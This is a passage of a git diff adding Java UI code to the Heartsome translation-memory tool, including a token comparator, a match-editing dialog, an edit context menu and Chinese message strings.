tagRange.getLength(); + end += tagRange.getLength(); + } else if (start < tagStart && tagStart < end) { + StyleRange range = new StyleRange(start, tagStart - start, differencefg, differencebg); + styleRanges.add(range); + + start = tagEnd; + end += tagRange.getLength(); + } else { + break; + } + } + } + StyleRange range = new StyleRange(start, end - start, differencefg, differencebg); + styleRanges.add(range); + } + } + for (int i = 0; i < styleRanges.size(); i++) { + text.setStyleRange(styleRanges.get(i)); + text.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + differencefg.dispose(); + differencebg.dispose(); + } + }); + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/comparator/TokenComparator.java b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/comparator/TokenComparator.java new file mode 100644 index 0000000..244d5d1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/comparator/TokenComparator.java @@ -0,0 +1,132 @@ +/******************************************************************************* + * Copyright (c) 2000, 2007 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package net.heartsome.cat.ts.ui.translation.comparator; + +import org.eclipse.compare.rangedifferencer.IRangeComparator; +import org.eclipse.core.runtime.Assert; + +/** + * Implements the ITokenComparator interface for words (or tokens) + * in a string. + * A TokenComparator is used as the input for the RangeDifferencer + * engine to perform a token oriented compare on strings. + *

    + * This class may be instantiated by clients but is not intended to be subclassed. + * @since 3.4 + */ +public class TokenComparator implements IRangeComparator { + + private String fText; + private int fCount; + private int[] fStarts; + private int[] fLengths; + + /** + * Creates a TokenComparator for the given string. + * + * @param text the string that is split into token + */ + public TokenComparator(String text) { + + Assert.isNotNull(text); + + fText= text; + + int length= fText.length(); + fStarts= new int[length]; // pessimistic assumption! + fLengths= new int[length]; + fCount= 0; + + char lastCategory= 0; // 0: no category + for (int i= 0; i < length; i++) { + char c= fText.charAt(i); + + char category= '?'; // unspecified category + if (Character.isWhitespace(c)) + category= ' '; // white space category + else if (Character.isDigit(c)) + category= '0'; // digits + else if (Character.isLetter(c)) + category= 'a'; // letters + else if (c == '\"' || c == '\'') + category= '\"'; // quotes (see bug 198671) + + if (category != lastCategory) { + // start a new token + fStarts[fCount++]= i; + lastCategory= category; + } + fLengths[fCount-1]++; + } + } + + /* (non-Javadoc) + * @see org.eclipse.compare.rangedifferencer.IRangeComparator#getRangeCount() + */ + public int getRangeCount() { + return fCount; + } + + /* (non-Javadoc) + * @see org.eclipse.compare.contentmergeviewer.ITokenComparator#getTokenStart(int) + */ + public int getTokenStart(int index) { + if (index < fCount) + return fStarts[index]; + return fText.length(); + } + + /* (non-Javadoc) + * @see org.eclipse.compare.contentmergeviewer.ITokenComparator#getTokenLength(int) + */ + public int getTokenLength(int index) { + if (index < fCount) + return fLengths[index]; + return 0; + } + + /* (non-Javadoc) + * @see org.eclipse.compare.rangedifferencer.IRangeComparator#rangesEqual(int, org.eclipse.compare.rangedifferencer.IRangeComparator, int) + */ + public boolean rangesEqual(int thisIndex, IRangeComparator other, int otherIndex) { + if (other != null && getClass() == other.getClass()) { + TokenComparator tc= (TokenComparator) other; + int thisLen= getTokenLength(thisIndex); + int otherLen= tc.getTokenLength(otherIndex); + if (thisLen == otherLen) + return fText.regionMatches(false, getTokenStart(thisIndex), tc.fText, tc.getTokenStart(otherIndex), thisLen); + } + return false; + } + + /* (non-Javadoc) + * @see org.eclipse.compare.rangedifferencer.IRangeComparator#skipRangeComparison(int, int, org.eclipse.compare.rangedifferencer.IRangeComparator) + */ + public boolean skipRangeComparison(int length, int max, IRangeComparator other) { + + if (getRangeCount() < 50 || other.getRangeCount() < 50) + return false; + + if (max < 100) + return false; + + if (length < 100) + return false; + + if (max > 800) + return true; + + if (length < max / 4) + return false; + + return true; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/dialog/TmMatchEditDialog.java b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/dialog/TmMatchEditDialog.java new file mode 100644 index 0000000..ea3fa70 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/dialog/TmMatchEditDialog.java @@ -0,0 +1,192 @@ +/** + * TmMatchEditDialog.java + * + * Version information : + * + * Date:2013-3-28 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.translation.dialog; + +import java.text.MessageFormat; + +import net.heartsome.cat.common.bean.FuzzySearchResult; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.Constants; +import net.heartsome.cat.ts.ui.innertag.SegmentViewer; +import net.heartsome.cat.ts.ui.preferencepage.IPreferenceConstants; +import net.heartsome.cat.ts.ui.translation.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.keys.IBindingService; + +/** + * 匹é…é¢æ¿åŒ¹é…é¢ç¼–辑对è¯æ¡†ã€‚ + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmMatchEditDialog extends Dialog { + private SegmentViewer srcSegmentViewer; + private SegmentViewer tgtSegmentViewer; + private FuzzySearchResult fuzzyResult; + + /** + * Create the dialog. + * @param parentShell + */ + public TmMatchEditDialog(Shell parentShell, FuzzySearchResult fuzzyResult) { + super(parentShell); + this.fuzzyResult = fuzzyResult; + setShellStyle(getShellStyle() | SWT.RESIZE); + IBindingService bindingService = (IBindingService) PlatformUI.getWorkbench().getService(IBindingService.class); + bindingService.setKeyFilterEnabled(false); + } + + @Override + protected void okPressed() { + String srcFullText = srcSegmentViewer.getText(); + String tgtFullText = tgtSegmentViewer.getText(); + String title = Messages.getString("dialog.TmMatchEditDialog.error.title"); + if (srcFullText == null || srcFullText.length() == 0) { + MessageDialog.openError(getShell(), title, Messages.getString("dialog.TmMatchEditDialog.error.srcNull")); + return; + } + if (tgtFullText == null || tgtFullText.length() == 0) { + MessageDialog.openError(getShell(), title, Messages.getString("dialog.TmMatchEditDialog.error.tgtNull")); + return; + } + if (srcFullText.equals(fuzzyResult.getTu().getSource().getFullText()) + && tgtFullText.equals(fuzzyResult.getTu().getTarget().getFullText())) { + super.cancelPressed(); + return; + } + fuzzyResult.getTu().getSource().setFullText(srcFullText); + fuzzyResult.getTu().getSource().setPureText(srcSegmentViewer.getPureText()); + fuzzyResult.getTu().getTarget().setFullText(tgtFullText); + fuzzyResult.getTu().getTarget().setPureText(tgtSegmentViewer.getPureText()); + fuzzyResult.getTu().setChangeDate(CommonFunction.retTMXDate()); + fuzzyResult.getTu().setChangeUser( + Activator.getDefault().getPreferenceStore().getString(IPreferenceConstants.SYSTEM_USER)); + super.okPressed(); + } + + @Override + public boolean close() { + IBindingService bindingService = (IBindingService) PlatformUI.getWorkbench().getService(IBindingService.class); + bindingService.setKeyFilterEnabled(true); + srcSegmentViewer.reset(); + tgtSegmentViewer.reset(); + return super.close(); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.TmMatchEditDialog.title")); + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + protected Control createDialogArea(Composite parent) { + Composite container = (Composite) super.createDialogArea(parent); + container.setLayout(new GridLayout(1, false)); + + Group srcGroup = new Group(container, SWT.NONE); + srcGroup.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + srcGroup.setLayout(new GridLayout(1, false)); + String srcGroupTile = Messages.getString("dialog.TmMatchEditDialog.component.src"); + srcGroupTile = MessageFormat.format(srcGroupTile, fuzzyResult.getTu().getSource().getLangCode()); + srcGroup.setText(srcGroupTile); + + srcSegmentViewer = new SegmentViewer(srcGroup, SWT.MULTI | SWT.WRAP | SWT.BORDER | SWT.V_SCROLL, null); + StyledText srcTextControl = srcSegmentViewer.getTextWidget(); + srcTextControl.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + srcTextControl.setLineSpacing(Constants.SEGMENT_LINE_SPACING); + srcTextControl.setLeftMargin(Constants.SEGMENT_LEFT_MARGIN); + srcTextControl.setRightMargin(Constants.SEGMENT_RIGHT_MARGIN); + srcTextControl.setTopMargin(Constants.SEGMENT_TOP_MARGIN); + srcTextControl.setBottomMargin(Constants.SEGMENT_TOP_MARGIN); + srcTextControl.setFont(JFaceResources.getFont(Constants.MATCH_VIEWER_TEXT_FONT)); + + Group targetGroup = new Group(container, SWT.NONE); + targetGroup.setLayout(new GridLayout(1, false)); + targetGroup.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + String tgtGroupTile = Messages.getString("dialog.TmMatchEditDialog.component.tgt"); + tgtGroupTile = MessageFormat.format(tgtGroupTile, fuzzyResult.getTu().getSource().getLangCode()); + targetGroup.setText(tgtGroupTile); + + tgtSegmentViewer = new SegmentViewer(targetGroup, SWT.MULTI | SWT.WRAP | SWT.BORDER | SWT.V_SCROLL, null); + StyledText tgtTextControl = tgtSegmentViewer.getTextWidget(); + tgtTextControl.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + tgtTextControl.setLineSpacing(Constants.SEGMENT_LINE_SPACING); + tgtTextControl.setLeftMargin(Constants.SEGMENT_LEFT_MARGIN); + tgtTextControl.setRightMargin(Constants.SEGMENT_RIGHT_MARGIN); + tgtTextControl.setTopMargin(Constants.SEGMENT_TOP_MARGIN); + tgtTextControl.setBottomMargin(Constants.SEGMENT_TOP_MARGIN); + tgtTextControl.setFont(JFaceResources.getFont(Constants.MATCH_VIEWER_TEXT_FONT)); + + net.heartsome.cat.ts.ui.innertag.tagstyle.TagStyleConfigurator.configure(srcSegmentViewer); + net.heartsome.cat.ts.ui.innertag.tagstyle.TagStyleConfigurator.configure(tgtSegmentViewer); + + TmMatchEditorBodyMenu srcMenu = new TmMatchEditorBodyMenu(srcSegmentViewer); + srcSegmentViewer.getTextWidget().setMenu(srcMenu.getBodyMenu()); + + TmMatchEditorBodyMenu tgtMenu = new TmMatchEditorBodyMenu(tgtSegmentViewer); + tgtSegmentViewer.getTextWidget().setMenu(tgtMenu.getBodyMenu()); + + loadData(); + + return container; + } + + private void loadData() { + srcSegmentViewer.setText(fuzzyResult.getTu().getSource().getFullText()); + srcSegmentViewer.setSource(""); + srcSegmentViewer.initUndoManager(50); + tgtSegmentViewer.setText(fuzzyResult.getTu().getTarget().getFullText()); + tgtSegmentViewer.setSource(""); + tgtSegmentViewer.initUndoManager(50); + tgtSegmentViewer.getTextWidget().setFocus(); + tgtSegmentViewer.getTextWidget().setCaretOffset(tgtSegmentViewer.getText().length()); + } + + /** + * Create contents of the button bar. + * @param parent + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.OK_ID, IDialogConstants.OK_LABEL, true); + createButton(parent, IDialogConstants.CANCEL_ID, IDialogConstants.CANCEL_LABEL, false); + } + + /** + * Return the initial size of the dialog. + */ + @Override + protected Point getInitialSize() { + return new Point(700, 300); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/dialog/TmMatchEditorBodyMenu.java b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/dialog/TmMatchEditorBodyMenu.java new file mode 100644 index 0000000..87e2fdf --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/dialog/TmMatchEditorBodyMenu.java @@ -0,0 +1,454 @@ +/** + * TmMatchEditorBodyMenu.java + * + * Version information : + * + * Date:2013-3-28 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.translation.dialog; + +import static net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder.PATTERN; + +import java.util.ArrayList; +import java.util.List; +import java.util.Stack; +import java.util.regex.Matcher; + +import net.heartsome.cat.common.innertag.TagType; +import net.heartsome.cat.common.ui.innertag.InnerTag; +import net.heartsome.cat.ts.ui.innertag.InnerTagUtil; +import net.heartsome.cat.ts.ui.innertag.SegmentViewer; + +import org.eclipse.jface.action.Action; +import org.eclipse.jface.action.MenuManager; +import org.eclipse.jface.action.Separator; +import org.eclipse.jface.text.ITextOperationTarget; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.swt.SWT; +import org.eclipse.swt.dnd.Clipboard; +import org.eclipse.swt.dnd.TextTransfer; +import org.eclipse.swt.dnd.Transfer; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.ui.ISharedImages; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.internal.WorkbenchMessages; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class TmMatchEditorBodyMenu { + CopyAction copyAction; + CutAction cutAction; + public PasteAction pasteAction; + + UndoAction undoAction; + RedoAction redoAction; + + SegmentViewer viewer; + Menu bodyMenu; + + public TmMatchEditorBodyMenu(SegmentViewer viewer) { + this.viewer = viewer; + createMenu(); + viewer.addSelectionChangedListener(new ISelectionChangedListener() { + public void selectionChanged(SelectionChangedEvent event) { + updateActionsEnableState(); + } + }); + + viewer.getTextWidget().addModifyListener(new ModifyListener() { + public void modifyText(ModifyEvent e) { + updateActionsEnableState(); + } + }); + + viewer.getTextWidget().addListener(SWT.KeyDown, new Listener() { + + public void handleEvent(Event event) { + int t = event.keyCode | event.stateMask; + if (t == ('Z' | SWT.MOD1) || t == ('z' | SWT.MOD1)) { + undoAction.runWithEvent(event); + } else if (t == ('Y' | SWT.MOD1) || t == ('y' | SWT.MOD1)) { + redoAction.runWithEvent(event); + } else if (t == ('V' | SWT.MOD1) || t == ('v' | SWT.MOD1)) { + pasteAction.runWithEvent(event); + } + } + }); + viewer.getTextWidget().setKeyBinding('V' | SWT.MOD1, SWT.NULL); + viewer.getTextWidget().setKeyBinding(SWT.INSERT | SWT.MOD2, SWT.NULL); + } + + public Menu getBodyMenu() { + return this.bodyMenu; + } + + private void createMenu() { + MenuManager menuMgr = new MenuManager(); + bodyMenu = menuMgr.createContextMenu(viewer.getControl()); + copyAction = new CopyAction(); + cutAction = new CutAction(); + pasteAction = new PasteAction(); + + undoAction = new UndoAction(); + redoAction = new RedoAction(); + + menuMgr.add(undoAction); + menuMgr.add(redoAction); + + menuMgr.add(new Separator()); + menuMgr.add(copyAction); + menuMgr.add(cutAction); + menuMgr.add(pasteAction); + + } + + public void updateActionsEnableState() { + cutAction.updateEnabledState(); + copyAction.updateEnabledState(); + pasteAction.updateEnabledState(); + undoAction.updateEnabledState(); + redoAction.updateEnabledState(); + } + + private class CopyAction extends Action { + protected CopyAction() { + super(WorkbenchMessages.Workbench_copy); + setEnabled(false); + ISharedImages sharedImages = PlatformUI.getWorkbench().getSharedImages(); + setImageDescriptor(sharedImages.getImageDescriptor(ISharedImages.IMG_TOOL_COPY)); + setDisabledImageDescriptor(sharedImages.getImageDescriptor(ISharedImages.IMG_TOOL_COPY_DISABLED)); + } + + public void runWithEvent(Event event) { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + viewer.doOperation(ITextOperationTarget.COPY); + updateActionsEnableState(); + return; + } + if (copyAction != null) { + copyAction.runWithEvent(event); + return; + } + } + + /** + * Update the state. + */ + public void updateEnabledState() { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + setEnabled(viewer.canDoOperation(ITextOperationTarget.COPY)); + return; + } + if (copyAction != null) { + setEnabled(copyAction.isEnabled()); + return; + } + setEnabled(false); + } + } + + private class PasteAction extends Action { + protected PasteAction() { + super(WorkbenchMessages.Workbench_paste); + setEnabled(false); + ISharedImages sharedImages = PlatformUI.getWorkbench().getSharedImages(); + setImageDescriptor(sharedImages.getImageDescriptor(ISharedImages.IMG_TOOL_PASTE)); + setDisabledImageDescriptor(sharedImages.getImageDescriptor(ISharedImages.IMG_TOOL_PASTE_DISABLED)); + } + + public void runWithEvent(Event event) { + Clipboard clipboard = null; + try { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + clipboard = new Clipboard(viewer.getTextWidget().getDisplay()); + TextTransfer plainTextTransfer = TextTransfer.getInstance(); + String contents = (String) clipboard.getContents(plainTextTransfer); + if (contents == null) { + setEnabled(false); + return; + } + Transfer[] types = new Transfer[] { plainTextTransfer }; + String result = contents; + String selText = viewer.getTextWidget().getSelectionText(); + if (selText.equals(contents)) { + return; + } + if (viewer.getTextWidget().getSelectionCount() != viewer.getTextWidget().getText().length()) { + result = filterInnerTag(contents); // 过滤掉系统剪切æ¿ä¸­çš„标记。 + } else { + StringBuffer bf = new StringBuffer(contents); + Matcher matcher = PATTERN.matcher(contents); + List needRemove = new ArrayList(); + while (matcher.find()) { + String placeHolder = matcher.group(); + InnerTag tag = InnerTagUtil.getInnerTag(viewer.getInnerTagCacheList(), placeHolder); + if (tag == null) { + needRemove.add(placeHolder); + } + } + result = bf.toString(); + for (String r : needRemove) { + result = result.replaceAll(r, ""); + } + } + + if (result == null || result.length() == 0) { + return; + } + + Object[] data = new Object[] { result }; + try { + clipboard.setContents(data, types); + } catch (Exception e) { + e.printStackTrace(); + } + + viewer.doOperation(ITextOperationTarget.PASTE); + updateActionsEnableState(); + + data = new Object[] { contents }; + try { + clipboard.setContents(data, types); + } catch (Exception e) { + e.printStackTrace(); + } + + return; + } + if (pasteAction != null) { + pasteAction.runWithEvent(event); + return; + } + } finally { + if (clipboard != null && !clipboard.isDisposed()) { + clipboard.dispose(); + } + } + } + + /** + * 过滤掉系统剪切æ¿ä¸­çš„标记 + */ + private String filterInnerTag(String contents) { + if (contents == null) { + return contents; + } + List cacheTags = viewer.getInnerTagCacheList(); + String fullText = viewer.getTextWidget().getText(); + + Matcher matcher = PATTERN.matcher(contents); + Stack stack = new Stack(); + Stack phStack = new Stack(); + List needRemove = new ArrayList(); + while (matcher.find()) { + String placeHolder = matcher.group(); + InnerTag tag = InnerTagUtil.getInnerTag(cacheTags, placeHolder); + if (tag == null) { + needRemove.add(placeHolder); + continue; + } + if (tag.getInnerTagBean().getType() == TagType.START) { + stack.push(tag); + phStack.push(placeHolder); + continue; + } else if (tag.getInnerTagBean().getType() == TagType.END) { + int start = -1; + if (stack.isEmpty()) { + // åªæœ‰ç»“æŸ æ²¡æœ‰å¼€å§‹ + // if((start = fullText.indexOf(placeHolder)) != -1){ + // viewer.getTextWidget().replaceTextRange(start, placeHolder.length(), ""); + // fullText = viewer.getTextWidget().getText(); + // } else { + needRemove.add(placeHolder); + // } + continue; + } + InnerTag _tag = stack.pop(); + String _placeHolder = phStack.pop(); + if (tag.getInnerTagBean().getIndex() != _tag.getInnerTagBean().getIndex()) { + needRemove.add(placeHolder); + needRemove.add(_placeHolder); + continue; + } + if ((start = fullText.indexOf(_placeHolder)) != -1) { + viewer.getTextWidget().replaceTextRange(start, _placeHolder.length(), ""); + fullText = viewer.getTextWidget().getText(); + } + if ((start = fullText.indexOf(placeHolder)) != -1) { + viewer.getTextWidget().replaceTextRange(start, placeHolder.length(), ""); + fullText = viewer.getTextWidget().getText(); + } + } else { + int start = -1; + if ((start = fullText.indexOf(placeHolder)) != -1) { + viewer.getTextWidget().replaceTextRange(start, placeHolder.length(), ""); + fullText = viewer.getTextWidget().getText(); + } + } + } + + while (!stack.isEmpty()) { + needRemove + .add(InnerTagUtil.getPlaceHolder(viewer.getInnerTagCacheList(), stack.pop().getInnerTagBean())); + } + for (String r : needRemove) { + contents = contents.replaceAll(r, ""); + } + return contents; + } + + /** + * Update the state + */ + public void updateEnabledState() { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + setEnabled(viewer.canDoOperation(ITextOperationTarget.PASTE)); + return; + } + if (pasteAction != null) { + setEnabled(pasteAction.isEnabled()); + return; + } + setEnabled(false); + } + } + + private class CutAction extends Action { + protected CutAction() { + super(WorkbenchMessages.Workbench_cut); + setEnabled(false); + ISharedImages sharedImages = PlatformUI.getWorkbench().getSharedImages(); + setImageDescriptor(sharedImages.getImageDescriptor(ISharedImages.IMG_TOOL_CUT)); + setDisabledImageDescriptor(sharedImages.getImageDescriptor(ISharedImages.IMG_TOOL_CUT_DISABLED)); + } + + public void runWithEvent(Event event) { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + viewer.doOperation(ITextOperationTarget.CUT); + updateActionsEnableState(); + return; + } + if (cutAction != null) { + cutAction.runWithEvent(event); + return; + } + } + + /** + * Update state. + */ + public void updateEnabledState() { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + setEnabled(viewer.canDoOperation(ITextOperationTarget.CUT)); + return; + } + if (cutAction != null) { + setEnabled(cutAction.isEnabled()); + return; + } + setEnabled(false); + } + } + + /** + * æ’¤é”€å¤„ç† + * @author Leakey + * @version + * @since JDK1.6 + */ + private class UndoAction extends Action { + protected UndoAction() { + super(WorkbenchMessages.Workbench_undo); + setEnabled(false); + ISharedImages sharedImages = PlatformUI.getWorkbench().getSharedImages(); + setImageDescriptor(sharedImages.getImageDescriptor(ISharedImages.IMG_TOOL_UNDO)); + setDisabledImageDescriptor(sharedImages.getImageDescriptor(ISharedImages.IMG_TOOL_UNDO_DISABLED)); + } + + public void runWithEvent(Event event) { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + // 使用TextViewer组件的撤销功能 + viewer.doOperation(ITextOperationTarget.UNDO); + updateActionsEnableState(); + return; + } + if (undoAction != null) { + undoAction.runWithEvent(event); + return; + } + } + + /** + * Update the state. + */ + public void updateEnabledState() { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + setEnabled(viewer.canDoOperation(ITextOperationTarget.UNDO)); + return; + } + if (undoAction != null) { + setEnabled(undoAction.isEnabled()); + return; + } + setEnabled(false); + } + } + + /** + * é‡åšå¤„ç† + * @author Leakey + * @version + * @since JDK1.6 + */ + private class RedoAction extends Action { + protected RedoAction() { + super(WorkbenchMessages.Workbench_redo); + setEnabled(false); + ISharedImages sharedImages = PlatformUI.getWorkbench().getSharedImages(); + setImageDescriptor(sharedImages.getImageDescriptor(ISharedImages.IMG_TOOL_REDO)); + setDisabledImageDescriptor(sharedImages.getImageDescriptor(ISharedImages.IMG_TOOL_REDO_DISABLED)); + } + + public void runWithEvent(Event event) { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + // 使用TextVieweræ供的é‡åšåŠŸèƒ½ + viewer.doOperation(ITextOperationTarget.REDO); + updateActionsEnableState(); + return; + } + if (redoAction != null) { + redoAction.runWithEvent(event); + return; + } + } + + /** + * Update the state. + */ + public void updateEnabledState() { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + setEnabled(viewer.canDoOperation(ITextOperationTarget.REDO)); + return; + } + if (undoAction != null) { + setEnabled(redoAction.isEnabled()); + return; + } + setEnabled(false); + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/resource/Messages.java b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/resource/Messages.java new file mode 100644 index 0000000..1b0f7fc --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.ui.translation.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.ui.translation.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/resource/message.properties b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/resource/message.properties new file mode 100644 index 0000000..83c8362 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.translation/src/net/heartsome/cat/ts/ui/translation/resource/message.properties @@ -0,0 +1,42 @@ +view.MatchViewPart.statusLine = \u663e\u793a\u5f53\u524d\u6587\u672c\u6bb5\u7684\u8bb0\u5fc6\u5e93\u5339\u914d +view.MatchViewPart.sourceCln = \u6e90\u6587 +view.MatchViewPart.typeCln = \u72b6\u6001 +view.MatchViewPart.targetCln = \u8bd1\u6587 +view.MatchViewPart.msgTitle = \u63d0\u793a +view.MatchViewPart.msg1 = \u590d\u5236\u6e90\u6587\u5230\u76ee\u6807\u65f6\u51fa\u9519\uff0c\u9519\u8bef\u6d88\u606f\uff1a\n +view.MatchViewPart.info = \u8bb0\u5fc6\u5e93\uff1a{0} \u4fee\u6539\u4e8e\uff1a{1} \u4fee\u6539\u8005\uff1a{2} \u9879\u76ee\uff1a{3} +view.MatchViewPart.msg2 = \u5f53\u524d\u6587\u672c\u6bb5\u5df2\u9501\u5b9a\uff0c\u5c06\u4e0d\u4f1a\u5728\u8bb0\u5fc6\u5e93\u4e2d\u67e5\u627e\u8be5\u6587\u672c\u6bb5\u7684\u5339\u914d\u3002 +view.MatchViewPart.msg3 = \u64cd\u4f5c\u5931\u8d25\uff0c\u9519\u8bef\u6d88\u606f\uff1a\n +view.MatchViewPart.firstAction = \u63a5\u53d7\u6b64\u7ffb\u8bd1(&A) +view.MatchViewPart.firstAction.tooltip = \u63a5\u53d7\u6b64\u7ffb\u8bd1 +view.MatchViewPart.secondAction = \u4ec5\u63a5\u53d7\u6587\u672c(&O) +view.MatchViewPart.secondAction.tooltip = \u4ec5\u63a5\u53d7\u6587\u672c + +view.MatchViewPart.info.tooltip.creationId = \u521b\u5efa\u8005\uff1a +view.MatchViewPart.info.tooltip.creationDate = \u521b\u5efa\u65f6\u95f4\uff1a + +#2013-01-08 Add by Jason +view.MatchViewPart.processInfo.loadHSMatch = \u6b63\u5728\u52a0\u8f7d\u5339\u914d... +view.MatchViewPart.processInfo.loadMachineMatch = \u6b63\u5728\u52a0\u8f7d\u673a\u5668\u7ffb\u8bd1... +view.MatchViewPart.processInfo.manualProcess = \u6b63\u5728\u624b\u52a8\u6267\u884c {0} ... + +#2013-04-02 Add by Jason +#\u53f3\u952e\u83dc\u5355 +view.MatchViewerBodyMenu.EditTmAction = \u7f16\u8f91\u5339\u914d(&E) +view.MatchViewerBodyMenu.EditTmAction.tooltip = \u7f16\u8f91\u9009\u4e2d\u7684\u8bb0\u5fc6\u5e93\u5339\u914d +view.MatchViewerBodyMenu.DeleteTmAction = \u5220\u9664\u5339\u914d(&D) +view.MatchViewerBodyMenu.DeleteTmAction.tooltip = \u5220\u9664\u9009\u4e2d\u7684\u8bb0\u5fc6\u5e93\u5339\u914d + + +view.MatchViewerBodyMenu.erorr.title = \u9519\u8bef +view.MatchViewerBodyMenu.confirm.title = \u786e\u8ba4 +view.MatchViewerBodyMenu.confirm.deleteInfo = 